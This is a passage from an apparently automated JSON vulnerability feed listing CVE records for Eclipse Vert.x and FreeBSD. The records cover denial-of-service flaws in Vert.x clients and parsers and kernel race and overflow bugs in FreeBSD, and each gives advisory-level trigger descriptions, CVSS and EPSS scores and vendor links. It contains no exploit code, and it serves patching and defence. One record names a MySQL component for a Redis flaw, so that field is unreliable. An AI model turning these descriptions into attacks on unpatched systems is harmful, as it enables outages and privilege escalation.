aggregates...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the TDS message decoder in the Vert.x MSSQL client (vertx-mssql-client) aggregates inbound TDS packets into a composite direct-memory buffer without any cumulative size limit. A malicious, compromised, or man-in-the-middle SQL Server can send a continuous stream of TDS packets without setting the END_OF_MESSAGE status flag, causing unbounded direct-memory allocation on the client and leading to an out-of-memory crash. This occurs before authentication completes.\n\n\n\nThe impacted component is io.vertx:vertx-mssql-client.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the TDS message decoder in the Vert.x MSSQL client (vertx-mssql-client) aggregates inbound TDS packets into a composite direct-memory buffer without any cumulative size limit. A malicious, compromised, or man-in-the-middle SQL Server can send a continuous stream of TDS packets without setting the END_OF_MESSAGE status flag, causing unbounded direct-memory allocation on the client and leading to an out-of-memory crash. This occurs before authentication completes.\n\n\n\nThe impacted component is io.vertx:vertx-mssql-client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:15.020Z","updatedAt":"2026-10-20T19:29:18.073Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102462","asOf":"2026-10-20T19:29:18.073Z"},"epss":{"probability":0.00321,"percentile":0.24873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102462&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102462","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102462","type":"primary","publishedAt":"2026-10-15T09:17:15.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-fg6c-83v6-vhq4","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102462&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102462, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102461","cveId":"CVE-2026-102461","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the uniqueItems keyword validation uses an O(n²) pairwise comparison loop with no...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the uniqueItems keyword validation uses an O(n²) pairwise comparison loop with no short-circuit or size limit. A remote unauthenticated attacker can submit a moderately-sized JSON array that consumes disproportionate CPU time, leading to denial of service.\n\n\n\nThe impacted component is io.vertx:vertx-json-schema.\n\n\n\nThe following Vert.x modules depend on vertx-json-schema and are also affected:\n\n\n\nio.vertx:vertx-web-openapi-router io.vertx:vertx-web-validation io.vertx:vertx-openapi","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the uniqueItems keyword validation uses an O(n²) pairwise comparison loop with no short-circuit or size limit. A remote unauthenticated attacker can submit a moderately-sized JSON array that consumes disproportionate CPU time, leading to denial of service.\n\n\n\nThe impacted component is io.vertx:vertx-json-schema.\n\n\n\nThe following Vert.x modules depend on vertx-json-schema and are also affected:\n\n\n\nio.vertx:vertx-web-openapi-router io.vertx:vertx-web-validation io.vertx:vertx-openapi\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:14.887Z","updatedAt":"2026-10-20T19:29:39.003Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102461","asOf":"2026-10-20T19:29:39.003Z"},"epss":{"probability":0.00391,"percentile":0.32958,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102461","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102461","type":"primary","publishedAt":"2026-10-15T09:17:14.887Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-json-schema/security/advisories/GHSA-4m87-8qfr-8p8m","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102461, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102475","cveId":"CVE-2026-102475","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the HTTP proxy provides a body transformer interceptor that relies on a max buffered bytes limit to...","summary":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the HTTP proxy provides a body transformer interceptor that relies on a max buffered bytes limit to ensure a bounded buffer for each request. This can be used to force a server to indefinitely allocate heap. This vulnerability requires to use an intercepting body transformer.\n\n\n\nThe impacted component is io.vertx:vertx-http-proxy.","detail":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the HTTP proxy provides a body transformer interceptor that relies on a max buffered bytes limit to ensure a bounded buffer for each request. This can be used to force a server to indefinitely allocate heap. This vulnerability requires to use an intercepting body transformer.\n\n\n\nThe impacted component is io.vertx:vertx-http-proxy.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T08:16:36.797Z","updatedAt":"2026-10-20T19:30:08.493Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102475","asOf":"2026-10-20T19:30:08.493Z"},"epss":{"probability":0.00258,"percentile":0.17302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102475&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102475","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102475","type":"primary","publishedAt":"2026-10-15T08:16:36.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vertx-http-proxy/security/advisories/GHSA-mjwh-5qfp-hjgc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102475&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102475, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102467","cveId":"CVE-2026-102467","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the WebSocket implementation does not define a maximum number of bytes allocation...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the WebSocket implementation does not define a maximum number of bytes allocation when decompressing frames or messages. This can be used to implement DDOS attacks with a zip bomb.\n\n\n\nThe impacted component is io.vertx:vertx-core.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the WebSocket implementation does not define a maximum number of bytes allocation when decompressing frames or messages. This can be used to implement DDOS attacks with a zip bomb.\n\n\n\nThe impacted component is io.vertx:vertx-core.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T08:16:36.670Z","updatedAt":"2026-10-20T19:30:37.930Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102467","asOf":"2026-10-20T19:30:37.930Z"},"epss":{"probability":0.00258,"percentile":0.17301,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102467&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102467","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102467","type":"primary","publishedAt":"2026-10-15T08:16:36.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vert.x/security/advisories/GHSA-h722-h6c2-6j3c","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102467&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102467, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102465","cveId":"CVE-2026-102465","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x Redis client RESP parser pre-allocates arrays to a length declared by...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x Redis client RESP parser pre-allocates arrays to a length declared by the server without enforcing an upper bound. A malicious or compromised Redis server, or an attacker in a man-in-the-middle position, can send a crafted RESP response declaring an extremely large array, push, or attribute length, causing the client to attempt a massive heap allocation. The resulting OutOfMemoryError crashes the Vert.x event loop thread, denying service to all connections and verticles sharing that loop.\n\n\n\nThe impacted component is io.vertx:vertx-mysql-client.","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x Redis client RESP parser pre-allocates arrays to a length declared by the server without enforcing an upper bound. A malicious or compromised Redis server, or an attacker in a man-in-the-middle position, can send a crafted RESP response declaring an extremely large array, push, or attribute length, causing the client to attempt a massive heap allocation. The resulting OutOfMemoryError crashes the Vert.x event loop thread, denying service to all connections and verticles sharing that loop.\n\n\n\nThe impacted component is io.vertx:vertx-mysql-client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T08:16:36.540Z","updatedAt":"2026-10-20T19:31:15.230Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Redis","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102465","asOf":"2026-10-20T19:31:15.230Z"},"epss":{"probability":0.00232,"percentile":0.13939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102465&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102465","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102465","type":"primary","publishedAt":"2026-10-15T08:16:36.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vert-x3/vertx-redis-client/security/advisories/GHSA-4wf9-p5hg-98w5","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102465&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102465, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58100","cveId":"CVE-2026-58100","aliases":[],"kind":"vulnerability","title":"kqueue_fork_copy_knote() indexed into the child's file descriptor table using a knote's file descriptor number without a bounds check.","summary":"kqueue_fork_copy_knote() indexed into the child's file descriptor table using a knote's file descriptor number without a bounds check.  Because the child's table is copied before knotes are transferred, a concurrent thread in the parent could grow the parent's table and register knotes with file descriptor numbers beyond the end of the child's table, causing an out-of-bounds read.\n\nAn unprivileged local user may be able to exploit these races to escalate privileges.","detail":"kqueue_fork_copy_knote() indexed into the child's file descriptor table using a knote's file descriptor number without a bounds check.  Because the child's table is copied before knotes are transferred, a concurrent thread in the parent could grow the parent's table and register knotes with file descriptor numbers beyond the end of the child's table, causing an out-of-bounds read.\n\nAn unprivileged local user may be able to exploit these races to escalate privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:02.490Z","updatedAt":"2026-10-19T21:01:55.713Z","regions":["Global"],"vendor":"freebsd","product":"freebsd","stacks":["FreeBSD","freebsd"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58100","asOf":"2026-10-19T21:01:55.713Z"},"epss":{"probability":0.001,"percentile":0.00836,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58100&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-58100","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58100","type":"primary","publishedAt":"2026-10-15T07:18:02.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.freebsd.org/advisories/FreeBSD-SA-26:65.kqueue.asc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58100&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58100, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58099","cveId":"CVE-2026-58099","aliases":[],"kind":"vulnerability","title":"When copying knotes from a parent kqueue to a child, the copy code did not correctly exclude marker knotes (used internally to track list traversal position) before marking them...","summary":"When copying knotes from a parent kqueue to a child, the copy code did not correctly exclude marker knotes (used internally to track list traversal position) before marking them as in-flux and releasing the kqueue lock.  If another thread freed a marker while the lock was dropped, the subsequent in-flux decrement operated on freed memory.\n\nAn unprivileged local user may be able to exploit these races to escalate privileges.","detail":"When copying knotes from a parent kqueue to a child, the copy code did not correctly exclude marker knotes (used internally to track list traversal position) before marking them as in-flux and releasing the kqueue lock.  If another thread freed a marker while the lock was dropped, the subsequent in-flux decrement operated on freed memory.\n\nAn unprivileged local user may be able to exploit these races to escalate privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:02.373Z","updatedAt":"2026-10-19T21:02:15.750Z","regions":["Global"],"vendor":"freebsd","product":"freebsd","stacks":["FreeBSD","freebsd"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58099","asOf":"2026-10-19T21:02:15.750Z"},"epss":{"probability":0.001,"percentile":0.00836,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58099&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-58099","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58099","type":"primary","publishedAt":"2026-10-15T07:18:02.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.freebsd.org/advisories/FreeBSD-SA-26:65.kqueue.asc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58099&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58099, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58098","cveId":"CVE-2026-58098","aliases":[],"kind":"vulnerability","title":"When semop(2) blocks waiting for a semaphore condition, it releases the per-set lock and sleeps.","summary":"When semop(2) blocks waiting for a semaphore condition, it releases the per-set lock and sleeps.  Upon waking, it checks the sequence number embedded in the semaphore set's IPC identifier to detect whether the set was removed while the caller was asleep.  This sequence number is only 15 bits wide.  If enough semaphore sets are created and destroyed in the same table slot while a caller is blocked, the counter wraps around, and semop(2) may falsely conclude that the original set still exists.  The subsequent access to a semaphore within the set may then be out of bounds.\n\nAn unprivileged local user can trigger an out-of-bounds access on kernel heap memory, potentially leading to privilege escalation.","detail":"When semop(2) blocks waiting for a semaphore condition, it releases the per-set lock and sleeps.  Upon waking, it checks the sequence number embedded in the semaphore set's IPC identifier to detect whether the set was removed while the caller was asleep.  This sequence number is only 15 bits wide.  If enough semaphore sets are created and destroyed in the same table slot while a caller is blocked, the counter wraps around, and semop(2) may falsely conclude that the original set still exists.  The subsequent access to a semaphore within the set may then be out of bounds.\n\nAn unprivileged local user can trigger an out-of-bounds access on kernel heap memory, potentially leading to privilege escalation.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:02.250Z","updatedAt":"2026-10-19T21:05:21.253Z","regions":["Global"],"vendor":"freebsd","product":"freebsd","stacks":["FreeBSD","freebsd"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58098","asOf":"2026-10-19T21:05:21.253Z"},"epss":{"probability":0.00114,"percentile":0.01455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58098&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-58098","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58098","type":"primary","publishedAt":"2026-10-15T07:18:02.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.freebsd.org/advisories/FreeBSD-SA-26:64.sysvsem.asc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58098&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58098, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101307","cveId":"CVE-2026-101307","aliases":[],"kind":"vulnerability","title":"When the PCM sample array needs to grow, the RACK stack doubles a 16-bit allocation counter.","summary":"When the PCM sample array needs to grow, the RACK stack doubles a 16-bit allocation counter.  Repeated doublings caused the counter to wrap to zero, resulting in a near-zero-length allocation followed by a copy of the existing samples into the undersized buffer.  A remote peer can trigger the expansion by sending a sufficient number of ACKs on an established connection.\n\nA remote attacker who can establish a TCP connection to a system using the RACK stack can trigger an out-of-bounds write of approximately 512 KB in the kernel heap possibly resulting in a kernel panic.","detail":"When the PCM sample array needs to grow, the RACK stack doubles a 16-bit allocation counter.  Repeated doublings caused the counter to wrap to zero, resulting in a near-zero-length allocation followed by a copy of the existing samples into the undersized buffer.  A remote peer can trigger the expansion by sending a sufficient number of ACKs on an established connection.\n\nA remote attacker who can establish a TCP connection to a system using the RACK stack can trigger an out-of-bounds write of approximately 512 KB in the kernel heap possibly resulting in a kernel panic.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:57.890Z","updatedAt":"2026-10-20T00:21:51.247Z","regions":["Global"],"vendor":"freebsd","product":"freebsd","stacks":["FreeBSD","freebsd"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101307","asOf":"2026-10-20T00:21:51.247Z"},"epss":{"probability":0.00313,"percentile":0.24002,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101307&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 